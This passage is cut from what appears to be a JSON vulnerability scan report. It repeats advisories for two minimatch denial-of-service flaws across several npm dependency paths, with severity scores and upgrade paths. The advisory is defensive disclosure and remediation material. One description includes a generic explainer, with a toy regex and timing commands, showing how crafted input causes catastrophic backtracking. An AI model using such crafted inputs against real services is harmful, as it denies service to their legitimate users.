"cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ 